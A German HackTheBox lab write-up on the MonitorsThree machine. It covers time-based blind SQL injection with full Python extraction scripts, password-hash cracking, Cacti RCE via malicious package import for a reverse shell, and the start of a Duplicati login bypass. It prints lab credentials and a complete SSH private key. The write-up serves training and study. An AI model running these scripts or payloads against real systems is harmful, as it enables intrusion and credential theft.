> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# MonitorsThree HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Subdomain-Enumeration
* SQLI - Manuelle zeitbasierte Blind-Injektion (Python-Skripting)
* Hashes knacken
* Ausnutzung von Cacti (CVE-2024-25642) - Bösartiger Paketimport
* Informationsleck
* Ausnutzung interner Dienste - Duplicati
* Duplicati missbrauchen - Login-Authentifizierung mit Server-Passphrase umgehen
* Duplicati - Erstellen eines Backups für privilegiertes Lesen und Schreiben von Dateien (Privilegieneskalation)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/0e6d69329d1717ecbc32bd2229cbdc245aba0e19" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/0f6c654b4972129582de6ef31be2fca36665cf29" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="/files/4f5aba66e0e9fb235c9b8e6cf200bdde67e5cd08" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/7be0a85c8846faf3f1d1bcaf4d402ec652922b3f" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="/files/45ffe0804baeb6f762666d550bdcc4df403211c3" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

<figure><img src="/files/d76e8633bb83f4096745a45eea8b2dbbd771b078" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0052d07b7c06dba0681958d275d98f0d9ddf8005" alt=""><figcaption></figcaption></figure>

### Liste der Verzeichnisse:

**Nur Suche** Verzeichnisse

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="/files/2a156d7b75fd5c9e8bd135e5acadfc23a677509f" alt=""><figcaption></figcaption></figure>

/*/* Suche nach Dateien mit bestimmten Erweiterungen (PHP, HTML, TXT) im Admin-Verzeichnis\:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

Wir finden die `db.php` Datei, sie enthält jedoch keine Daten.

<figure><img src="/files/5ce02ba7bc87a74c4155830373929aa6efdae3b4" alt=""><figcaption></figcaption></figure>

## SQL-Injektion

#### Erkennung der Schwachstelle

Wir identifizierten eine SQL-Schwachstelle in der Funktion „Passwort vergessen“. Mit folgendem Payload wurde die Schwachstelle bestätigt:

```sql
admin' or 1=1-- -
```

<figure><img src="/files/8263e72fd0d95b96d1817aa411d56f280cc6435d" alt=""><figcaption></figcaption></figure>

#### Bestätigung der Schwachstelle mit zeitbasiertem Angriff

Zur Bestätigung der Schwachstelle verwendeten wir einen zeitbasierten SQL-Angriff:

```sql
admin' and sleep(5)-- -
```

Die Antwort dauerte 5 Sekunden und bestätigte damit die Schwachstelle.

<figure><img src="/files/65255cef01596484b3be5fc02a16e11983486c00" alt=""><figcaption></figcaption></figure>

## **SQL-Injektion - zeitbasiert**

#### Ausnutzung mit einem Python-Skript automatisieren

Wir entwickelten ein Python-Skript, um die Datenextraktion per SQL-Injektion zu automatisieren. Das Skript extrahierte den Datenbanknamen, Tabellennamen, Spalten und schließlich sensible Daten wie Benutzernamen und Passwörter.

### Datenbank:

**Beispielskript zum Extrahieren des Datenbanknamens:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Logkonfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beenden.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Starte SQL-Injektionsangriff...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, stoppe die Schleife
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Endgültig extrahierte Daten: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injektionsangriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Datenbankname**: `monitorsthree_db`

<figure><img src="/files/f409df0afe5f0e1b407fc948a010b07c4f6fb348" alt=""><figcaption></figcaption></figure>

### **Datenbanken:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Logkonfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beenden.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Datenbanknamen an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Formatiere die SQL-Anfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, stoppe die Schleife
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Anfrage zum Extrahieren von Datenbanknamen
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("Keine weiteren Datenbanken gefunden.")
            break
        
        databases.append(database_name)
        logger.info(f"Gefundene Datenbank: {database_name}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Datenbanken: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injektionsangriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/72dde6d8c072bdacc39b063ec7d9d483b94837be" alt=""><figcaption></figcaption></figure>

### **Tabellen:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Logkonfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beenden.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Tabellennamen an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Formatiere die SQL-Anfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, stoppe die Schleife
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Anfrage zum Extrahieren von Tabellennamen aus der Datenbank `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("Keine weiteren Tabellen gefunden.")
            break
        
        tables.append(table_name)
        logger.info(f"Gefundene Tabelle: {table_name}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Tabellen in monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injektionsangriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Tabellen** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="/files/c43e6a9e8105304a4ab74a804a71382567eacede" alt=""><figcaption></figcaption></figure>

### **Spalten:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Logkonfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beenden.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Spaltennamen an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Formatiere die SQL-Anfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, stoppe die Schleife
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Anfrage zum Extrahieren von Spaltennamen aus der Tabelle `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("Keine weiteren Spalten gefunden.")
            break
        
        columns.append(column_name)
        logger.info(f"Gefundene Spalte: {column_name}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Spalten in Tabelle 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injektionsangriff durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Spalten in der `users` Tabelle**: `id`, `Benutzernamen`, `E-Mail`, `Passwort`, `Name`, `Position`, `dob`, `start_date`, `salary`

<figure><img src="/files/0cf388734d0a2cd2f9d77f01caa2a77af0ba15d8" alt=""><figcaption></figcaption></figure>

### **Extrahierte Daten**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Logkonfiguration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Beenden.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrahiere Daten an Offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indikator, um zu prüfen, ob ein Zeichen gefunden wurde
        
        for character in characters:
            # Formatiere die SQL-Anfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Teste: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Anfrage fehlgeschlagen: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        
        # Falls für diese Position kein Zeichen gefunden wurde, stoppe die Schleife
        if not character_found:
            logger.info(f"Kein Zeichen an Position {position} gefunden. Extraktion wird beendet.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Anfrage zum Extrahieren von Benutzernamen
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Anfrage zum Extrahieren von Passwörtern
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("Keine weiteren Anmeldedaten gefunden.")
            break
        
        credentials.append((username, password))
        logger.info(f"Gefundene Anmeldedaten: {username}:{password}")
        offset += 1
    
    logger.info("SQL-Injektion abgeschlossen!")
    logger.info(f"Liste der Anmeldedaten: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injektionsangriff zum Extrahieren von Anmeldedaten durch.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injektion")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injektion")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="/files/fcee3c00e37549746f32e770d8ed73d7d0ea9fb6" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Passwortknacken

{% embed url="<https://crackstation.net/>" %}

Wir verwendeten **CrackStation** um gehashte Passwörter zu knacken. Die folgenden Anmeldedaten wurden ermittelt:

<figure><img src="/files/dff43c1624c1ede039121be149034a1649d2da2b" alt=""><figcaption></figcaption></figure>

**Kennungen:**

* Benutzer: `admin`
* Passwort: `greencacti2001`

<figure><img src="/files/27d96d6dca3ae422c166c0b9b58943ff633ac194" alt=""><figcaption></figcaption></figure>

### /*/* Liste der Subdomains\:/*/*

Verwendung des Gobuster-Befehls zur Aufzählung von Subdomains:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

Wir finden die `cacti.monitorsthree.htb` Subdomain.

<figure><img src="/files/127b6a6da91de18ee689e7ffb13450cf36e0ace2" alt=""><figcaption></figcaption></figure>

Wir fügen diesen Eintrag in `/etc/hosts`.

<figure><img src="/files/2d8bbd013c8e8398f73b8e33a3a7a441e9bdefb5" alt=""><figcaption></figcaption></figure>

**Zugriff auf das Cacti-Anmeldepanel:**

Das Cacti-Anmeldepanel, Version 1.2.26, ist auf dieser Subdomain verfügbar. Mit `admin:greencacti2001` den Anmeldedaten können wir uns verbinden.

<figure><img src="/files/8b8b613e5aeee1d7a6c6c8560e0fa0cf2f574c8c" alt=""><figcaption></figcaption></figure>

## Ausnutzung der Cacti-RCE-Schwachstelle <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

Um die RCE-Schwachstelle von Cacti auszunutzen, ändern wir eine PHP-Datei und führen ein Betriebsskript aus:

<figure><img src="/files/af930c1e432607a6975ec1e4af57e13bb423c974" alt=""><figcaption></figcaption></figure>

Dieses Skript erstellt eine komprimierte Datei mit einem PHP-Payload, der in den Zielserver eingeschleust wird und uns eine Reverse Shell ermöglicht.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/4a59630fac669f5d583943f38ad4ede0e15469ba" alt=""><figcaption></figcaption></figure></div>

## **Privilegieneskalation :**

Durch das Durchsuchen des `/var/www/html` Webverzeichnisses finden wir Datenbankdateien im `cacti` Ordner, einschließlich der `config.php` Konfigurationsdatei, die sich in `/var/www/html/cacti/include/config.php`.

Auszüge aus `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="/files/1e419259c9fcc3fe8b87a523d3ab3d9e9be7278d" alt=""><figcaption></figcaption></figure>

Anschließend listen wir Benutzer in der `user_auth` Tabelle in der `cacti` Datenbank auf:

<figure><img src="/files/1db37079669b6be32ebc95b3f25762c331e839c4" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="/files/4433bcf4cf1bb599e7713226ab9f0aaa261f26a6" alt=""><figcaption></figcaption></figure></div>

Wir verwenden `john` um die wiederhergestellten Passwörter zu knacken:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Dies enthüllt das `marcus` Benutzerpasswort: `12345678910`.

<figure><img src="/files/17b6fc9265114b3bfea57379a0f8e81a059b96b0" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/34d7ec7f147c5bdd8d6ffcf523b99bf71045db86" alt=""><figcaption></figcaption></figure>

Nach diesem Schritt erhalten wir auch den `marcus` SSH-Schlüssel des Benutzers:

<figure><img src="/files/97ea5ad69972e8e010cd8a1f34200b23f6f1edab" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Wir werden zunächst die intern geöffneten Ports mit dem folgenden Befehl beobachten:

```bash
netstat -nltp
```

<figure><img src="/files/13c59df5fc1cfcf75a9572206996ed942221d0e3" alt="" width="563"><figcaption></figcaption></figure>

Wir werden den internen Port **8200** vom Server auf unseren lokalen Rechner umleiten, um über den Browser darauf zuzugreifen. Diese Umleitung kann per SSH mit folgendem Befehl durchgeführt werden:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Ausnutzung von Duplicati:

### Duplicati-Login-Authentifizierung umgehen

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Während der Analyse der Zielmaschine wurde ein **Duplicati** Webportal entdeckt. Dieses Portal hatte ein Authentifizierungsfeld, das nach einem Passwort fragte.

<figure><img src="/files/9268e3432f84066ba16bf2e11f3e156e19c602fc" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati ist ein Backup-Client, der verschlüsselte, inkrementelle und komprimierte Remote-Backups lokaler Dateien sicher auf Cloud-Speicherdiensten und Dateiservern speichert
{% endhint %}

Bei der Untersuchung des Systems wurde das Duplicati-Konfigurationsverzeichnis in `/opt/duplicati`. Eine SQLite-Datei namens `Duplicati-server.sqlite` wurde als potenziell sensible Information identifiziert.

<figure><img src="/files/a522a9240c0a14e26e99a4807b3295a6582dd1ff" alt=""><figcaption></figcaption></figure>

#### SQLite-Datei herunterladen

Um diese Datei zu analysieren, wurde sie mit einem Python-HTTP-Server auf unseren lokalen Rechner heruntergeladen:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/a4e97a18f09f524d6f47be139555f71bde6d0fab" alt=""><figcaption></figcaption></figure>

#### Analyse der SQLite-Datei

Die Datei wurde mit dem `sqlite3` Werkzeug geöffnet, um ihren Inhalt zu prüfen:

```bash
sqlite3 Duplicati-server.sqlite
```

Die Tabellen wurden aufgelistet, und die `option` Tabelle wurde für die Datenextraktion ausgewählt:

```sql
.tables
select * from option;
```

<figure><img src="/files/1ff34b1a1add3c68d143324f6b4f505f2f7dc0b8" alt=""><figcaption></figcaption></figure>

| Schlüssel                          | Wert                                           |
| ---------------------------------- | ---------------------------------------------- |
| `Server-Passphrase`                | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `Server-Passphrase-Salz`           | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `Server-Passphrase-Tray-Icon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `Server-Passphrase-Tray-Icon-Hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Passphrase-Umwandlung

Der Wert von `Server-Passphrase` ist in Base64 kodiert. Um ihn zu dekodieren und in das Hexadezimalformat zu konvertieren, wird der folgende Befehl verwendet:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

